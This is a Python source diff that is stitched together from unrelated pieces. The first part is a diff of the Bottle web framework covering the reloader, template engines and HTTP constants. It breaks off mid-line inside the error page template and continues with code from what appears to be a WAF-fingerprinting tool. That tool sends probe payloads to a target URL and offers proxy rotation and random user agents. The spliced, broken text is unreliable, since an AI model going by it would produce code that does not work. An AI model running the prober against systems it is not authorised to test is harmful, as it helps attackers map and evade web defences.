############################################################################### @@ -2616,19 +3865,30 @@ def load_app(target): """ Load a bottle application from a module and make sure that the import does not affect the current default application, but returns a separate application object. See :func:`load` for the target parameter. """ - global NORUN; NORUN, nr_old = True, NORUN + global NORUN + NORUN, nr_old = True, NORUN + tmp = default_app.push() # Create a new "default application" try: - tmp = default_app.push() # Create a new "default application" - rv = load(target) # Import the target module + rv = load(target) # Import the target module return rv if callable(rv) else tmp finally: - default_app.remove(tmp) # Remove the temporary added default application + default_app.remove(tmp) # Remove the temporary added default application NORUN = nr_old + _debug = debug -def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, - interval=1, reloader=False, quiet=False, plugins=None, - debug=False, **kargs): + + +def run(app=None, + server='wsgiref', + host='127.0.0.1', + port=8080, + interval=1, + reloader=False, + quiet=False, + plugins=None, + debug=None, + config=None, **kargs): """ Start a server instance. This method blocks until the server terminates. :param app: WSGI application or target string supported by @@ -2647,22 +3907,27 @@ def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, """ if NORUN: return if reloader and not os.environ.get('BOTTLE_CHILD'): + import subprocess + fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') + environ = os.environ.copy() + environ['BOTTLE_CHILD'] = 'true' + environ['BOTTLE_LOCKFILE'] = lockfile + args = [sys.executable] + sys.argv + # If a package was loaded with `python -m`, then `sys.argv` needs to be + # restored to the original value, or imports might break. See #1336 + if getattr(sys.modules.get('__main__'), '__package__', None): + args[1:1] = ["-m", sys.modules['__main__'].__package__] + try: - lockfile = None - fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') - os.close(fd) # We only need this file to exist. We never write to it + os.close(fd) # We never write to this file while os.path.exists(lockfile): - args = [sys.executable] + sys.argv - environ = os.environ.copy() - environ['BOTTLE_CHILD'] = 'true' - environ['BOTTLE_LOCKFILE'] = lockfile p = subprocess.Popen(args, env=environ) - while p.poll() is None: # Busy wait... - os.utime(lockfile, None) # I am alive! + while p.poll() is None: + os.utime(lockfile, None) # Tell child we are still alive time.sleep(interval) - if p.poll() != 3: - if os.path.exists(lockfile): os.unlink(lockfile) - sys.exit(p.poll()) + if p.returncode == 3: # Child wants to be restarted + continue + sys.exit(p.returncode) except KeyboardInterrupt: pass finally: @@ -2671,7 +3936,7 @@ def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, return try: - _debug(debug) + if debug is not None: _debug(debug) app = app or default_app() if isinstance(app, basestring): app = load_app(app) @@ -2679,8 +3944,13 @@ def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, raise ValueError("Application is not callable: %r" % app) for plugin in plugins or []: + if isinstance(plugin, basestring): + plugin = load(plugin) app.install(plugin) + if config: + app.config.update(config) + if server in server_names: server = server_names.get(server) if isinstance(server, basestring): @@ -2692,9 +3962,14 @@ def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, server.quiet = server.quiet or quiet if not server.quiet: - _stderr("Bottle v%s server starting up (using %s)...\n" % (__version__, repr(server))) - _stderr("Listening on http://%s:%d/\n" % (server.host, server.port)) - _stderr("Hit Ctrl-C to quit.\n\n") + _stderr("Bottle v%s server starting up (using %s)..." % + (__version__, repr(server))) + if server.host.startswith("unix:"): + _stderr("Listening on %s" % server.host) + else: + _stderr("Listening on http://%s:%d/" % + (server.host, server.port)) + _stderr("Hit Ctrl-C to quit.\n") if reloader: lockfile = os.environ.get('BOTTLE_LOCKFILE') @@ -2717,24 +3992,24 @@ def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, sys.exit(3) - class FileCheckerThread(threading.Thread): - ''' Interrupt main-thread as soon as a changed module file is detected, - the lockfile gets deleted or gets to old. ''' + """ Interrupt main-thread as soon as a changed module file is detected, + the lockfile gets deleted or gets too old. """ def __init__(self, lockfile, interval): threading.Thread.__init__(self) + self.daemon = True self.lockfile, self.interval = lockfile, interval #: Is one of 'reload', 'error' or 'exit' self.status = None def run(self): exists = os.path.exists - mtime = lambda path: os.stat(path).st_mtime + mtime = lambda p: os.stat(p).st_mtime files = dict() for module in list(sys.modules.values()): - path = getattr(module, '__file__', '') + path = getattr(module, '__file__', '') or '' if path[-4:] in ('.pyo', '.pyc'): path = path[:-1] if path and exists(path): files[path] = mtime(path) @@ -2753,32 +4028,31 @@ def run(self): def __enter__(self): self.start() - def __exit__(self, exc_type, exc_val, exc_tb): - if not self.status: self.status = 'exit' # silent exit + def __exit__(self, exc_type, *_): + if not self.status: self.status = 'exit' # silent exit self.join() return exc_type is not None and issubclass(exc_type, KeyboardInterrupt) - - - - ############################################################################### # Template Adapters ############################################################ ############################################################################### -class TemplateError(HTTPError): - def __init__(self, message): - HTTPError.__init__(self, 500, message) +class TemplateError(BottleException): + pass class BaseTemplate(object): """ Base class and minimal API for template adapters """ - extensions = ['tpl','html','thtml','stpl'] - settings = {} #used in prepare() - defaults = {} #used in render() - - def __init__(self, source=None, name=None, lookup=[], encoding='utf8', **settings): + extensions = ['tpl', 'html', 'thtml', 'stpl'] + settings = {} #used in prepare() + defaults = {} #used in render() + + def __init__(self, + source=None, + name=None, + lookup=None, + encoding='utf8', **settings): """ Create a new template. If the source parameter (str or buffer) is missing, the name argument is used to guess a template filename. Subclasses can assume that @@ -2792,10 +4066,10 @@ def __init__(self, source=None, name=None, lookup=[], encoding='utf8', **setting self.name = name self.source = source.read() if hasattr(source, 'read') else source self.filename = source.filename if hasattr(source, 'filename') else None - self.lookup = [os.path.abspath(x) for x in lookup] + self.lookup = [os.path.abspath(x) for x in lookup] if lookup else [] self.encoding = encoding - self.settings = self.settings.copy() # Copy from class variable - self.settings.update(settings) # Apply + self.settings = self.settings.copy() # Copy from class variable + self.settings.update(settings) # Apply if not self.source and self.name: self.filename = self.search(self.name, self.lookup) if not self.filename: @@ -2805,16 +4079,15 @@ def __init__(self, source=None, name=None, lookup=[], encoding='utf8', **setting self.prepare(**self.settings) @classmethod - def search(cls, name, lookup=[]): + def search(cls, name, lookup=None): """ Search name in all directories specified in lookup. First without, then with common extensions. Return first hit. """ if not lookup: - depr('The template lookup path list should not be empty.') - lookup = ['.'] + raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.") - if os.path.isabs(name) and os.path.isfile(name): - depr('Absolute template path names are deprecated.') - return os.path.abspath(name) + if os.path.isabs(name): + raise depr(0, 12, "Use of absolute path for template name.", + "Refer to templates with names or paths relative to the lookup path.") for spath in lookup: spath = os.path.abspath(spath) + os.sep @@ -2827,9 +4100,9 @@ def search(cls, name, lookup=[]): @classmethod def global_config(cls, key, *args): - ''' This reads or sets the global settings stored in class.settings. ''' + """ This reads or sets the global settings stored in class.settings. """ if args: - cls.settings = cls.settings.copy() # Make settings local to class + cls.settings = cls.settings.copy() # Make settings local to class cls.settings[key] = args[0] else: return cls.settings[key] @@ -2845,8 +4118,8 @@ def render(self, *args, **kwargs): """ Render the template with the specified local variables and return a single byte or unicode string. If it is a byte string, the encoding must match self.encoding. This method must be thread-safe! - Local variables may be provided in dictionaries (*args) - or directly, as keywords (**kwargs). + Local variables may be provided in dictionaries (args) + or directly, as keywords (kwargs). """ raise NotImplementedError @@ -2855,16 +4128,19 @@ class MakoTemplate(BaseTemplate): def prepare(self, **options): from mako.template import Template from mako.lookup import TemplateLookup - options.update({'input_encoding':self.encoding}) + options.update({'input_encoding': self.encoding}) options.setdefault('format_exceptions', bool(DEBUG)) lookup = TemplateLookup(directories=self.lookup, **options) if self.source: self.tpl = Template(self.source, lookup=lookup, **options) else: - self.tpl = Template(uri=self.name, filename=self.filename, lookup=lookup, **options) + self.tpl = Template(uri=self.name, + filename=self.filename, + lookup=lookup, **options) def render(self, *args, **kwargs): - for dictarg in args: kwargs.update(dictarg) + for dictarg in args: + kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) @@ -2882,7 +4158,8 @@ def prepare(self, **options): self.tpl = Template(file=self.filename, **options) def render(self, *args, **kwargs): - for dictarg in args: kwargs.update(dictarg) + for dictarg in args: + kwargs.update(dictarg) self.context.vars.update(self.defaults) self.context.vars.update(kwargs) out = str(self.tpl) @@ -2891,218 +4168,315 @@ def render(self, *args, **kwargs): class Jinja2Template(BaseTemplate): - def prepare(self, filters=None, tests=None, **kwargs): + def prepare(self, filters=None, tests=None, globals={}, **kwargs): from jinja2 import Environment, FunctionLoader - if 'prefix' in kwargs: # TODO: to be removed after a while - raise RuntimeError('The keyword argument `prefix` has been removed. ' - 'Use the full jinja2 environment name line_statement_prefix instead.') self.env = Environment(loader=FunctionLoader(self.loader), **kwargs) if filters: self.env.filters.update(filters) if tests: self.env.tests.update(tests) + if globals: self.env.globals.update(globals) if self.source: self.tpl = self.env.from_string(self.source) else: - self.tpl = self.env.get_template(self.filename) + self.tpl = self.env.get_template(self.name) def render(self, *args, **kwargs): - for dictarg in args: kwargs.update(dictarg) + for dictarg in args: + kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) def loader(self, name): - fname = self.search(name, self.lookup) + if name == self.filename: + fname = name + else: + fname = self.search(name, self.lookup) if not fname: return with open(fname, "rb") as f: - return f.read().decode(self.encoding) - - -class SimpleTALTemplate(BaseTemplate): - ''' Deprecated, do not use. ''' - def prepare(self, **options): - depr('The SimpleTAL template handler is deprecated'\ - ' and will be removed in 0.12') - from simpletal import simpleTAL - if self.source: - self.tpl = simpleTAL.compileHTMLTemplate(self.source) - else: - with open(self.filename, 'rb') as fp: - self.tpl = simpleTAL.compileHTMLTemplate(tonat(fp.read())) - - def render(self, *args, **kwargs): - from simpletal import simpleTALES - for dictarg in args: kwargs.update(dictarg) - context = simpleTALES.Context() - for k,v in self.defaults.items(): - context.addGlobal(k, v) - for k,v in kwargs.items(): - context.addGlobal(k, v) - output = StringIO() - self.tpl.expand(context, output) - return output.getvalue() + return (f.read().decode(self.encoding), fname, lambda: False) class SimpleTemplate(BaseTemplate): - blocks = ('if', 'elif', 'else', 'try', 'except', 'finally', 'for', 'while', - 'with', 'def', 'class') - dedent_blocks = ('elif', 'else', 'except', 'finally') - - @lazy_attribute - def re_pytokens(cls): - ''' This matches comments and all kinds of quoted strings but does - NOT match comments (#...) within quoted strings. (trust me) ''' - return re.compile(r''' - (''(?!')|""(?!")|'{6}|"{6} # Empty strings (all 4 types) - |'(?:[^\\']|\\.)+?' # Single quotes (') - |"(?:[^\\"]|\\.)+?" # Double quotes (") - |'{3}(?:[^\\]|\\.|\n)+?'{3} # Triple-quoted strings (') - |"{3}(?:[^\\]|\\.|\n)+?"{3} # Triple-quoted strings (") - |\#.* # Comments - )''', re.VERBOSE) - - def prepare(self, escape_func=html_escape, noescape=False, **kwargs): + def prepare(self, + escape_func=html_escape, + noescape=False, + syntax=None, **ka): self.cache = {} enc = self.encoding self._str = lambda x: touni(x, enc) self._escape = lambda x: escape_func(touni(x, enc)) + self.syntax = syntax if noescape: self._str, self._escape = self._escape, self._str - @classmethod - def split_comment(cls, code): - """ Removes comments (#...) from python code. """ - if '#' not in code: return code - #: Remove comments only (leave quoted strings as they are) - subf = lambda m: '' if m.group(0)[0]=='#' else m.group(0) - return re.sub(cls.re_pytokens, subf, code) - @cached_property def co(self): return compile(self.code, self.filename or '', 'exec') @cached_property def code(self): - stack = [] # Current Code indentation - lineno = 0 # Current line of code - ptrbuffer = [] # Buffer for printable strings and token tuple instances - codebuffer = [] # Buffer for generated python code - multiline = dedent = oneline = False - template = self.source or open(self.filename, 'rb').read() - - def yield_tokens(line): - for i, part in enumerate(re.split(r'\{\{(.*?)\}\}', line)): - if i % 2: - if part.startswith('!'): yield 'RAW', part[1:] - else: yield 'CMD', part - else: yield 'TXT', part - - def flush(): # Flush the ptrbuffer - if not ptrbuffer: return - cline = '' - for line in ptrbuffer: - for token, value in line: - if token == 'TXT': cline += repr(value) - elif token == 'RAW': cline += '_str(%s)' % value - elif token == 'CMD': cline += '_escape(%s)' % value - cline += ', ' - cline = cline[:-2] + '\\\n' - cline = cline[:-2] - if cline[:-1].endswith('\\\\\\\\\\n'): - cline = cline[:-7] + cline[-1] # 'nobr\\\\\n' --> 'nobr' - cline = '_printlist([' + cline + '])' - del ptrbuffer[:] # Do this before calling code() again - code(cline) - - def code(stmt): - for line in stmt.splitlines(): - codebuffer.append(' ' * len(stack) + line.strip()) - - for line in template.splitlines(True): - lineno += 1 - line = touni(line, self.encoding) - sline = line.lstrip() - if lineno <= 2: - m = re.match(r"%\s*#.*coding[:=]\s*([-\w.]+)", sline) - if m: self.encoding = m.group(1) - if m: line = line.replace('coding','coding (removed)') - if sline and sline[0] == '%' and sline[:2] != '%%': - line = line.split('%',1)[1].lstrip() # Full line following the % - cline = self.split_comment(line).strip() - cmd = re.split(r'[^a-zA-Z0-9_]', cline)[0] - flush() # You are actually reading this? Good luck, it's a mess :) - if cmd in self.blocks or multiline: - cmd = multiline or cmd - dedent = cmd in self.dedent_blocks # "else:" - if dedent and not oneline and not multiline: - cmd = stack.pop() - code(line) - oneline = not cline.endswith(':') # "if 1: pass" - multiline = cmd if cline.endswith('\\') else False - if not oneline and not multiline: - stack.append(cmd) - elif cmd == 'end' and stack: - code('#end(%s) %s' % (stack.pop(), line.strip()[3:])) - elif cmd == 'include': - p = cline.split(None, 2)[1:] - if len(p) == 2: - code("_=_include(%s, _stdout, %s)" % (repr(p[0]), p[1])) - elif p: - code("_=_include(%s, _stdout)" % repr(p[0])) - else: # Empty %include -> reverse of %rebase - code("_printlist(_base)") - elif cmd == 'rebase': - p = cline.split(None, 2)[1:] - if len(p) == 2: - code("globals()['_rebase']=(%s, dict(%s))" % (repr(p[0]), p[1])) - elif p: - code("globals()['_rebase']=(%s, {})" % repr(p[0])) - else: - code(line) - else: # Line starting with text (not '%') or '%%' (escaped) - if line.strip().startswith('%%'): - line = line.replace('%%', '%', 1) - ptrbuffer.append(yield_tokens(line)) - flush() - return '\n'.join(codebuffer) + '\n' - - def subtemplate(self, _name, _stdout, *args, **kwargs): - for dictarg in args: kwargs.update(dictarg) + source = self.source + if not source: + with open(self.filename, 'rb') as f: + source = f.read() + try: + source, encoding = touni(source), 'utf8' + except UnicodeError: + raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.') + parser = StplParser(source, encoding=encoding, syntax=self.syntax) + code = parser.translate() + self.encoding = parser.encoding + return code + + def _rebase(self, _env, _name=None, **kwargs): + _env['_rebase'] = (_name, kwargs) + + def _include(self, _env, _name=None, **kwargs): + env = _env.copy() + env.update(kwargs) if _name not in self.cache: - self.cache[_name] = self.__class__(name=_name, lookup=self.lookup) - return self.cache[_name].execute(_stdout, kwargs) + self.cache[_name] = self.__class__(name=_name, lookup=self.lookup, syntax=self.syntax) + return self.cache[_name].execute(env['_stdout'], env) - def execute(self, _stdout, *args, **kwargs): - for dictarg in args: kwargs.update(dictarg) + def execute(self, _stdout, kwargs): env = self.defaults.copy() - env.update({'_stdout': _stdout, '_printlist': _stdout.extend, - '_include': self.subtemplate, '_str': self._str, - '_escape': self._escape, 'get': env.get, - 'setdefault': env.setdefault, 'defined': env.__contains__}) env.update(kwargs) - eval(self.co, env) - if '_rebase' in env: - subtpl, rargs = env['_rebase'] - rargs['_base'] = _stdout[:] #copy stdout - del _stdout[:] # clear stdout - return self.subtemplate(subtpl,_stdout,rargs) + env.update({ + '_stdout': _stdout, + '_printlist': _stdout.extend, + 'include': functools.partial(self._include, env), + 'rebase': functools.partial(self._rebase, env), + '_rebase': None, + '_str': self._str, + '_escape': self._escape, + 'get': env.get, + 'setdefault': env.setdefault, + 'defined': env.__contains__ + }) + exec(self.co, env) + if env.get('_rebase'): + subtpl, rargs = env.pop('_rebase') + rargs['base'] = ''.join(_stdout) #copy stdout + del _stdout[:] # clear stdout + return self._include(env, subtpl, **rargs) return env def render(self, *args, **kwargs): """ Render the template using keyword arguments as local variables. """ - for dictarg in args: kwargs.update(dictarg) + env = {} stdout = [] - self.execute(stdout, kwargs) + for dictarg in args: + env.update(dictarg) + env.update(kwargs) + self.execute(stdout, env) return ''.join(stdout) -def template(*args, **kwargs): +class StplSyntaxError(TemplateError): + pass + + +class StplParser(object): + """ Parser for stpl templates. """ + _re_cache = {} #: Cache for compiled re patterns + + # This huge pile of voodoo magic splits python code into 8 different tokens. + # We use the verbose (?x) regex mode to make this more manageable + + _re_tok = r'''( + [urbURB]* + (?: ''(?!') + |""(?!") + |'{6} + |"{6} + |'(?:[^\\']|\\.)+?' + |"(?:[^\\"]|\\.)+?" + |'{3}(?:[^\\]|\\.|\n)+?'{3} + |"{3}(?:[^\\]|\\.|\n)+?"{3} + ) + )''' + + _re_inl = _re_tok.replace(r'|\n', '') # We re-use this string pattern later + + _re_tok += r''' + # 2: Comments (until end of line, but not the newline itself) + |(\#.*) + + # 3: Open and close (4) grouping tokens + |([\[\{\(]) + |([\]\}\)]) + + # 5,6: Keywords that start or continue a python block (only start of line) + |^([\ \t]*(?:if|for|while|with|try|def|class)\b) + |^([\ \t]*(?:elif|else|except|finally)\b) + + # 7: Our special 'end' keyword (but only if it stands alone) + |((?:^|;)[\ \t]*end[\ \t]*(?=(?:%(block_close)s[\ \t]*)?\r?$|;|\#)) + + # 8: A customizable end-of-code-block template token (only end of line) + |(%(block_close)s[\ \t]*(?=\r?$)) + + # 9: And finally, a single newline. The 10th token is 'everything else' + |(\r?\n) ''' + + # Match the start tokens of code areas in a template + _re_split = r'''(?m)^[ \t]*(\\?)((%(line_start)s)|(%(block_start)s))''' + # Match inline statements (may contain python strings) + _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n])*?)%%(inline_end)s''' % _re_inl + + # add the flag in front of the regexp to avoid Deprecation warning (see Issue #949) + # verbose and dot-matches-newline mode + _re_tok = '(?mx)' + _re_tok + _re_inl = '(?mx)' + _re_inl + + + default_syntax = '<% %> % {{ }}' + + def __init__(self, source, syntax=None, encoding='utf8'): + self.source, self.encoding = touni(source, encoding), encoding + self.set_syntax(syntax or self.default_syntax) + self.code_buffer, self.text_buffer = [], [] + self.lineno, self.offset = 1, 0 + self.indent, self.indent_mod = 0, 0 + self.paren_depth = 0 + + def get_syntax(self): + """ Tokens as a space separated string (default: <% %> % {{ }}) """ + return self._syntax + + def set_syntax(self, syntax): + self._syntax = syntax + self._tokens = syntax.split() + if syntax not in self._re_cache: + names = 'block_start block_close line_start inline_start inline_end' + etokens = map(re.escape, self._tokens) + pattern_vars = dict(zip(names.split(), etokens)) + patterns = (self._re_split, self._re_tok, self._re_inl) + patterns = [re.compile(p % pattern_vars) for p in patterns] + self._re_cache[syntax] = patterns + self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax] + + syntax = property(get_syntax, set_syntax) + + def translate(self): + if self.offset: raise RuntimeError('Parser is a one time instance.') + while True: + m = self.re_split.search(self.source, pos=self.offset) + if m: + text = self.source[self.offset:m.start()] + self.text_buffer.append(text) + self.offset = m.end() + if m.group(1): # Escape syntax + line, sep, _ = self.source[self.offset:].partition('\n') + self.text_buffer.append(self.source[m.start():m.start(1)] + + m.group(2) + line + sep) + self.offset += len(line + sep) + continue + self.flush_text() + self.offset += self.read_code(self.source[self.offset:], + multiline=bool(m.group(4))) + else: + break + self.text_buffer.append(self.source[self.offset:]) + self.flush_text() + return ''.join(self.code_buffer) + + def read_code(self, pysource, multiline): + code_line, comment = '', '' + offset = 0 + while True: + m = self.re_tok.search(pysource, pos=offset) + if not m: + code_line += pysource[offset:] + offset = len(pysource) + self.write_code(code_line.strip(), comment) + break + code_line += pysource[offset:m.start()] + offset = m.end() + _str, _com, _po, _pc, _blk1, _blk2, _end, _cend, _nl = m.groups() + if self.paren_depth > 0 and (_blk1 or _blk2): # a if b else c + code_line += _blk1 or _blk2 + continue + if _str: # Python string + code_line += _str + elif _com: # Python comment (up to EOL) + comment = _com + if multiline and _com.strip().endswith(self._tokens[1]): + multiline = False # Allow end-of-block in comments + elif _po: # open parenthesis + self.paren_depth += 1 + code_line += _po + elif _pc: # close parenthesis + if self.paren_depth > 0: + # we could check for matching parentheses here, but it's + # easier to leave that to python - just check counts + self.paren_depth -= 1 + code_line += _pc + elif _blk1: # Start-block keyword (if/for/while/def/try/...) + code_line = _blk1 + self.indent += 1 + self.indent_mod -= 1 + elif _blk2: # Continue-block keyword (else/elif/except/...) + code_line = _blk2 + self.indent_mod -= 1 + elif _cend: # The end-code-block template token (usually '%>') + if multiline: multiline = False + else: code_line += _cend + elif _end: + self.indent -= 1 + self.indent_mod += 1 + else: # \n + self.write_code(code_line.strip(), comment) + self.lineno += 1 + code_line, comment, self.indent_mod = '', '', 0 + if not multiline: + break + + return offset + + def flush_text(self): + text = ''.join(self.text_buffer) + del self.text_buffer[:] + if not text: return + parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent + for m in self.re_inl.finditer(text): + prefix, pos = text[pos:m.start()], m.end() + if prefix: + parts.append(nl.join(map(repr, prefix.splitlines(True)))) + if prefix.endswith('\n'): parts[-1] += nl + parts.append(self.process_inline(m.group(1).strip())) + if pos < len(text): + prefix = text[pos:] + lines = prefix.splitlines(True) + if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3] + elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4] + parts.append(nl.join(map(repr, lines))) + code = '_printlist((%s,))' % ', '.join(parts) + self.lineno += code.count('\n') + 1 + self.write_code(code) + + @staticmethod + def process_inline(chunk): + if chunk[0] == '!': return '_str(%s)' % chunk[1:] + return '_escape(%s)' % chunk + + def write_code(self, line, comment=''): + code = ' ' * (self.indent + self.indent_mod) + code += line.lstrip() + comment + '\n' + self.code_buffer.append(code) + + +def template(*args, **kwargs): + """ Get a rendered template as a string iterator. You can use a name, a filename or a template string as first parameter. Template rendering arguments can be passed as dictionaries or directly (as keyword arguments). - ''' + """ tpl = args[0] if args else None + for dictarg in args[1:]: + kwargs.update(dictarg) adapter = kwargs.pop('template_adapter', SimpleTemplate) lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) tplid = (id(lookup), tpl) @@ -3117,17 +4491,17 @@ def template(*args, **kwargs): TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) if not TEMPLATES[tplid]: abort(500, 'Template (%s) not found' % tpl) - for dictarg in args[1:]: kwargs.update(dictarg) return TEMPLATES[tplid].render(kwargs) + mako_template = functools.partial(template, template_adapter=MakoTemplate) -cheetah_template = functools.partial(template, template_adapter=CheetahTemplate) +cheetah_template = functools.partial(template, + template_adapter=CheetahTemplate) jinja2_template = functools.partial(template, template_adapter=Jinja2Template) -simpletal_template = functools.partial(template, template_adapter=SimpleTALTemplate) def view(tpl_name, **defaults): - ''' Decorator: renders a template for a handler. + """ Decorator: renders a template for a handler. The handler can control its behavior like that: - return a dict of template vars to fill out the template @@ -3135,8 +4509,10 @@ def view(tpl_name, **defaults): process the template, but return the handler result as is. This includes returning a HTTPResponse(dict) to get, for instance, JSON with autojson or other castfilters. - ''' + """ + def decorator(func): + @functools.wraps(func) def wrapper(*args, **kwargs): result = func(*args, **kwargs) @@ -3145,50 +4521,48 @@ def wrapper(*args, **kwargs): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result + return wrapper + return decorator + mako_view = functools.partial(view, template_adapter=MakoTemplate) cheetah_view = functools.partial(view, template_adapter=CheetahTemplate) jinja2_view = functools.partial(view, template_adapter=Jinja2Template) -simpletal_view = functools.partial(view, template_adapter=SimpleTALTemplate) - - - - - ############################################################################### # Constants and Globals ######################################################## ############################################################################### - TEMPLATE_PATH = ['./', './views/'] TEMPLATES = {} DEBUG = False -NORUN = False # If set, run() does nothing. Used by load_app() +NORUN = False # If set, run() does nothing. Used by load_app() #: A dict to map HTTP status codes (e.g. 404) to phrases (e.g. 'Not Found') -HTTP_CODES = httplib.responses -HTTP_CODES[418] = "I'm a teapot" # RFC 2324 +HTTP_CODES = httplib.responses.copy() +HTTP_CODES[418] = "I'm a teapot" # RFC 2324 HTTP_CODES[428] = "Precondition Required" HTTP_CODES[429] = "Too Many Requests" HTTP_CODES[431] = "Request Header Fields Too Large" +HTTP_CODES[451] = "Unavailable For Legal Reasons" # RFC 7725 HTTP_CODES[511] = "Network Authentication Required" -_HTTP_STATUS_LINES = dict((k, '%d %s'%(k,v)) for (k,v) in HTTP_CODES.items()) +_HTTP_STATUS_LINES = dict((k, '%d %s' % (k, v)) + for (k, v) in HTTP_CODES.items()) #: The default template used for error pages. Override with @error() ERROR_PAGE_TEMPLATE = """ %%try: - %%from %s import DEBUG, HTTP_CODES, request, touni + %%from %s import DEBUG, request Error: {{e.status}} |<[^>]+>|\s+", " ", retval[HTML]) + match = re.search(r"(?im)^Server: (.+)", retval[RAW]) + retval[SERVER] = match.group(1).strip() if match else "" + return retval + +def calc_hash(value, binary=True): + value = value.encode("utf8") if not isinstance(value, bytes) else value + result = zlib.crc32(value) & 0xffff + if binary: + result = struct.pack(">H", result) + return result + +def single_print(message): + if message not in seen: + print(message) + seen.add(message) + +def check_payload(payload, protection_regex=GENERIC_PROTECTION_REGEX % '|'.join(GENERIC_PROTECTION_KEYWORDS)): + global chained + global heuristic + global intrusive + global locked_code + global locked_regex + + time.sleep(options.delay or 0) + if options.post: + _ = "%s=%s" % ("".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(options.url, _) + else: + _ = "%s%s%s=%s" % (options.url, '?' if '?' not in options.url else '&', "".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(_) + + if options.lock and not payload.isdigit(): + if payload == HEURISTIC_PAYLOAD: + match = re.search(re.sub(r"Server:|Protected by", "".join(random.sample(string.ascii_letters, 6)), WAF_RECOGNITION_REGEX, flags=re.I), intrusive[RAW] or "") + if match: + result = True + + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + locked_regex = DATA_JSON["wafs"][waf]["regex"] + locked_code = intrusive[HTTPCODE] + break + else: + result = False + + if not result: + exit(colorize("[x] can't lock results to a non-blind match")) + else: + result = re.search(locked_regex, intrusive[RAW]) is not None and locked_code == intrusive[HTTPCODE] + elif options.string: + result = options.string in (intrusive[RAW] or "") + elif options.code: + result = options.code == intrusive[HTTPCODE] + else: + result = intrusive[HTTPCODE] != original[HTTPCODE] or (intrusive[HTTPCODE] != 200 and intrusive[TITLE] != original[TITLE]) or (re.search(protection_regex, intrusive[HTML]) is not None and re.search(protection_regex, original[HTML]) is None) or (difflib.SequenceMatcher(a=original[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD) + + if not payload.isdigit(): + if result: + if options.debug: + print("\r---%s" % (40 * ' ')) + print(payload) + print(intrusive[HTTPCODE], intrusive[RAW]) + print("---") + + if intrusive[SERVER]: + servers.add(re.sub(r"\s*\(.+\)\Z", "", intrusive[SERVER])) + if len(servers) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP 'Server' headers detected (%s)" % ', '.join("'%s'" % _ for _ in sorted(servers)))) + + if intrusive[HTTPCODE]: + codes.add(intrusive[HTTPCODE]) + if len(codes) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP codes detected (%s)" % ', '.join("%s" % _ for _ in sorted(codes)))) + + if heuristic and heuristic[HTML] and intrusive[HTML] and difflib.SequenceMatcher(a=heuristic[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTML responses detected")) + + if payload == HEURISTIC_PAYLOAD: + heuristic = intrusive + + return result + +def colorize(message): + if COLORIZE: + message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) + + if any(_ in message for _ in ("rejected summary", "challenge detected")): + for match in re.finditer(r"[^\w]'([^)]+)'" if "rejected summary" in message else r"\('(.+)'\)", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + + if "blind match" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (92 if int(match.group(2)) >= 95 else (93 if int(match.group(2)) > 80 else 90), match.group(1))) + + if "hardness" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (95 if " insane " in message else (91 if " hard " in message else (93 if " moderate " in message else 92)), match.group(1))) + + return message + +def parse_args(): + global options + + parser = optparse.OptionParser(version=VERSION) + parser.add_option("--delay", dest="delay", type=int, help="Delay (sec) between tests (default: 0)") + parser.add_option("--timeout", dest="timeout", type=int, help="Response timeout (sec) (default: 10)") + parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") + parser.add_option("--proxy-file", dest="proxy_file", help="Load (rotating) HTTP(s) proxy list from a file") + parser.add_option("--random-agent", dest="random_agent", action="store_true", help="Use random HTTP User-Agent header value") + parser.add_option("--code", dest="code", type=int, help="Expected HTTP code in rejected responses") + parser.add_option("--string", dest="string", help="Expected string in rejected responses") + parser.add_option("--post", dest="post", action="store_true", help="Use POST body for sending payloads") + parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--fast", dest="fast", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--lock", dest="lock", action="store_true", help=optparse.SUPPRESS_HELP) + + # Dirty hack(s) for help message + def _(self, *args): + retval = parser.formatter._format_option_strings(*args) + if len(retval) > MAX_HELP_OPTION_LENGTH: + retval = ("%%.%ds.." % 